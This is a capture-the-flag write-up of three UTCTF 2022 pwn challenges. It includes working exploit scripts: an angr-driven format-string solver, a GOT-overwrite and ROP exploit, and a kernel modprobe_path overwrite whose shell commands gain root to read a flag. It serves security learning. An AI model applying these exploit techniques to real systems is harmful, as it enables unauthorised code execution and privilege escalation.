UTCTF 2022
I competed with the Texas A&M Cyber Club; placing in 23rd place.
Automatic Exploit Generation 2
Now with printf!
By Tristan (@trab on discord)
nc pwn.utctf.live 5002
I really like automatic exploit generation. I did the one in last year's UTCTF and in general they are some of my favorite challenges. So of course as soon as I heard there was one here I went straight for it.
❯ nc pwn.utctf.live 5002
You will be given 10 randomly generated binaries.
You have 60 seconds to solve each one.
Solve the binary by making it exit with the given exit code
Press enter when you're ready for the first binary.
...xxd blob
Binary should exit with code 230
The first step is to scope out the provided binary. What's the general sort of attack we're doing, how do different binaries differ, etc.
void main(void)
{
long lVar1;
undefined8 *puVar2;
long in_FS_OFFSET;
undefined8 local_218;
undefined8 local_210;
undefined8 local_208 [63];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
local_218 = 0;
local_210 = 0;
puVar2 = local_208;
for (lVar1 = 0x3e; lVar1 != 0; lVar1 = lVar1 + -1) {
*puVar2 = 0;
puVar2 = puVar2 + 1;
}
*(undefined2 *)puVar2 = 0;
fgets((char *)&local_218,0x202,stdin);
permute(&local_218);
printf((char *)&local_218);
/* WARNING: Subroutine does not return */
exit(exit_code);
}
It's a pretty clear format string vulnerability and it exits using a global variable "exit_code" as an argument.
There isn't even PIE, so with stack control and a format string vulnerability it should be pretty straightforward to use %n to write whatever we want to exit_code.
Unfortunately...
void permute(undefined8 param_1)
{
permute5(param_1);
permute3(param_1);
permute6(param_1);
permute1(param_1);
permute4(param_1);
permute7(param_1);
permute2(param_1);
permute8(param_1);
return;
}
Any input we provide gets shuffled up so what gets passed to printf is completely different than what gets provided via stdin. A quick check of a new binary shows that this all gets shuffled about when a new binary is generated. How do we resolve this?
Well I hate work so I just used angr to magic up a solution lol. All you need to do to solve this is make a format string payload, explore to find a state at the printf invocation, apply some constraints on memory, and then boom you can just ask for the stdin that fits those constraints. It's really quite disgusting that it's this easy.
import angr, argparse
from pwn import *
from claripy import *
import os
from subprocess import check_output
from pwn import *
r = remote("pwn.utctf.live", 5002)
r.sendline()
r.recvuntil("binary.\n")
for i in range(10):
log.info(f"trying round {i}")
with open("tmp.xxd", "wb") as f:
f.write(r.recvuntil("\n\n"))
os.system("xxd -rp tmp.xxd > binary.tmp")
r.recvuntil(b"Binary should exit with code ")
exit_code = int(r.recvline().rstrip())
log.info(f"attempting to call exit({exit_code})")
exe = ELF("./binary.tmp")
p = angr.Project("./binary.tmp")
state = p.factory.blank_state()
simgr = p.factory.simgr(state, save_unconstrained=True)
# lmao this is genuinely disgusting
printf_caller_addr = int(check_output("objdump -Mintel -D ./binary.tmp | rg \"call.*?printf@plt\"",shell=True).decode().lstrip().split(":")[0], 16)
payload = f"%{exit_code}c%10$n\x00"
simgr.explore(find=printf_caller_addr)
for i in simgr.found:
i.add_constraints(i.memory.load(i.regs.rdi,len(payload)) == payload)
i.add_constraints(i.memory.load(i.regs.rdi+16,8) == p64(exe.symbols['exit_code']))
if i.satisfiable():
log.info("sat!")
else:
log.error("oop not sat :(")
exit(0)
r.send(i.posix.dumps(0))
r.recvuntil(f"{exit_code}\n")
r.interactive()
I went to run it on the server... only to find that it took too long. Averaged something like 80 seconds on my laptop and the server times out at 60 seconds per binary. I was a little scared that I wouldn't be able to get it fast enough to solve but a little investigation found the tip "Use pypy. pypy is an alternate python interpreter that performs optimized jitting of python code." I tried running it with pypy and sure enough it cut my average execution time to 40 seconds, comfortably fast enough to solve it.
utflag{you_mix_me_right_round_baby_right_round135799835}
Smol Overflow
You can have a little overflow, as a treat
By Tristan (@trab on discord)
nc pwn.utctf.live 5004
undefined8 main(void)
{
char cVar1;
int iVar2;
ulong uVar3;
char *pcVar4;
long in_FS_OFFSET;
byte bVar5;
char local_158 [111];
undefined4 uStack233;
undefined2 uStack229;
char local_78 [104];
long local_10;
bVar5 = 0;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("What kind of data do you have?");
gets(local_158);
iVar2 = strcmp(local_158,"big data");
if (iVar2 == 0) {
uVar3 = 0xffffffffffffffff;
pcVar4 = (char *)((long)&uStack233 + 1);
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar4;
pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1;
} while (cVar1 != '\0');
*(undefined4 *)((long)&uStack233 + ~uVar3) = 0x30322025;
*(undefined2 *)((long)&uStack229 + ~uVar3) = 0x73;
}
else {
iVar2 = strcmp(local_158,"smol data");
if (iVar2 == 0) {
uVar3 = 0xffffffffffffffff;
pcVar4 = (char *)((long)&uStack233 + 1);
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *pcVar4;
pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1;
} while (cVar1 != '\0');
*(undefined4 *)((long)&uStack233 + ~uVar3) = 0x73352025;
*(undefined *)((long)&uStack229 + ~uVar3) = 0;
}
else {
puts("Error");
}
}
puts("Give me your data");
gets(local_78);
printf((char *)((long)&uStack233 + 1),local_78);
putchar(10);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
The big takeaway I get from this is that it's vulnerable as fuck. Multiple gets calls, and a sus printf. A naive overflow can't exploit this because of the canary but we also have a printf which uses a stack string as the format string. This is unimaginably suspicious to me because honestly no good reason why it shouldn't be an unwritable constant string. A little investigation on how it gets populated (in two conditional blocks, branched based on strcmp) shows that if neither of those strcmp calls match then the stack string is uninitialized.
At this point the general structure of the attack is clear
- Overflow the "what kind of data" prompt to fill the stack string with whatever we want and not match either big or smol data.
- Rewrite the GOT entry for
__stack_chk_failto a ret gadget - ROP to get_flag.
##!/usr/bin/env python3
from pwn import *
exe = ELF("./smol_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("pwn.utctf.live", 5004)
return r
def main():
r = conn()
payload = fmtstr_payload(20, {exe.got['__stack_chk_fail']: next(exe.search(b'\xc3'))})
r.sendline(b"A" * 112 + payload)
r.sendline(b"A" * 120 + p64(exe.symbols['get_flag']))
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
utflag{just_a_little_salami15983350}
Bloat
I've created a new binary format. Unlike ELF, it has no bloat. It just consists of a virtual address to store the data at, then 248 bytes of data. However, when I tried to contribute it back to the mainline kernel they all called my submission "idiotic", and "wildly unsafe". They just cant recognize the next generation of Linux binaries.
Login with username bloat and no password
By Tristan (@trab on discord)
nc pwn.utctf.live 5003
fuck yeah "wildly unsafe" is my favorite phrase to hear. "A virtual address to store data and then 248 bytes of data" really screams arbitrary write to me. There isn't a lot of complexity to hide vulnerability so I suspected it would be the obvious one -- unchecked virtual address to copy the remainder of the data to. A quick look at run.sh shows that flag.txt is mounted as /dev/sda but that we'll need root to read it.
Let's pop open the rootfs and see what can be found.
mkdir rootfs
cd rootfs
gzip -cd ../rootfs.cpio.gz | cpio -idmv
Poking around, there's a pretty good amount of stuff here (a minimal linux installation) but we know more or less that we're looking for a kernel module and so we quickly find /lib/modules/5.15.0/extra/bloat.ko. Let's open it up!
int load_bloat_binary(long param_1)
{
ulong *puVar1;
undefined *puVar2;
int iVar3;
byte *pbVar4;
undefined *puVar5;
undefined *puVar6;
long lVar7;
undefined8 uVar8;
byte *pbVar9;
int iVar10;
long in_GS_OFFSET;
bool bVar11;
bool bVar12;
byte bVar13;
bVar13 = 0;
pbVar4 = (byte *)strrchr(*(char **)(param_1 + 0x60),L'.');
bVar11 = false;
bVar12 = pbVar4 == (byte *)0x0;
if (!bVar12) {
lVar7 = 7;
pbVar9 = (byte *)".bloat";
do {
if (lVar7 == 0) break;
lVar7 = lVar7 + -1;
bVar11 = *pbVar4 < *pbVar9;
bVar12 = *pbVar4 == *pbVar9;
pbVar4 = pbVar4 + (ulong)bVar13 * -2 + 1;
pbVar9 = pbVar9 + (ulong)bVar13 * -2 + 1;
} while (bVar12);
if ((!bVar11 && !bVar12) == bVar11) {
lVar7 = generic_file_llseek(*(undefined8 *)(param_1 + 0x40),0,2);
generic_file_llseek(*(undefined8 *)(param_1 + 0x40),0,0);
if (lVar7 < 0x101) {
iVar3 = begin_new_exec(param_1);
if (iVar3 != 0) {
return iVar3;
}
puVar1 = *(ulong **)(¤t_task + in_GS_OFFSET);
*(undefined4 *)(puVar1 + 0x6f) = 0;
set_binfmt(bloat_fmt);
setup_new_exec(param_1);
puVar2 = *(undefined **)(param_1 + 0xa0);
uVar8 = 0x7ffffffff000;
*(undefined **)(puVar1[0x62] + 0xf0) = puVar2;
*(long *)(puVar1[0x62] + 0xf8) = *(long *)(puVar1[0x62] + 0xf0) + lVar7;
if (((*puVar1 & 0x20000000) != 0) &&
(uVar8 = 0xc0000000, (*(byte *)((long)puVar1 + 0x37b) & 8) == 0)) {
uVar8 = 0xffffe000;
}
iVar3 = setup_arg_pages(param_1,uVar8,0);
if (iVar3 != 0) {
return iVar3;
}
vm_mmap(0,puVar2,0x100,7,0x12,0);
__put_user_1();
iVar10 = (int)lVar7;
iVar3 = 0x100;
if (iVar10 < 0x101) {
iVar3 = iVar10;
}
if (8 < iVar10) {
puVar5 = puVar2;
do {
puVar6 = puVar5 + 1;
*puVar5 = puVar5[(param_1 - (long)puVar2) + 0xa8];
puVar5 = puVar6;
} while ((8 - (int)puVar2) + (int)puVar6 < iVar3);
}
finalize_exec(param_1);
start_thread(*(long *)(*(long *)(¤t_task + in_GS_OFFSET) + 0x20) + 0x3f58,puVar2,
*(undefined8 *)
(*(long *)(*(long *)(¤t_task + in_GS_OFFSET) + 0x310) + 0x120));
return 0;
}
}
}
return -8;
}
Ahahahahaha it's literally just that. It maps some RWX memory, copies the bytes from the rest of the file, and then executes. Unfortunately userspace code execution just won't do it so we need to do some kernel funny business to become root. All of this behavior happens as a binfmt handler which triggers for any file named ".bloat".
I spent a good amount of time researching -- I've never actually done kernel exploitation before. I liked this challenge a lot for being rather easy but enough to sorta take the edge off my fear of kernel exploitation. After a while I found a blog post on modprobe_path exploitation which immediately looked quite promising.
Turns out there is a nice "modprobe_path" symbol in the kernel which points to an executable. This executable gets called whenever you try and execute a binary that has no handler. I assume there is a reason but idk why. Good thing for me since this was super easy.
This challenge was actually even easier than the challenge that blog post went over! We have true arbitrary write and no kaslr so all I needed to do was grab the address of modprobe_path from /proc/kallsyms and then write a brief payload to overwrite it with my own script to run as root
from pwn import *
modprobe_path = p64(0xffffffff82038180)
payload = p64(modprobe_path)
payload += b"/tmp/x\x00"
print(payload)
echo -ne "\x80\x81\x03\x82\xff\xff\xff\xff/tmp/x\x00" > .bloat
echo -ne "#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag" > x
echo -ne "\xff\xff\xff\xff" > dummy
chmod +x ./bloat
./bloat
./dummy
cat flag
utflag{oops_forgot_to_use_put_user283558318}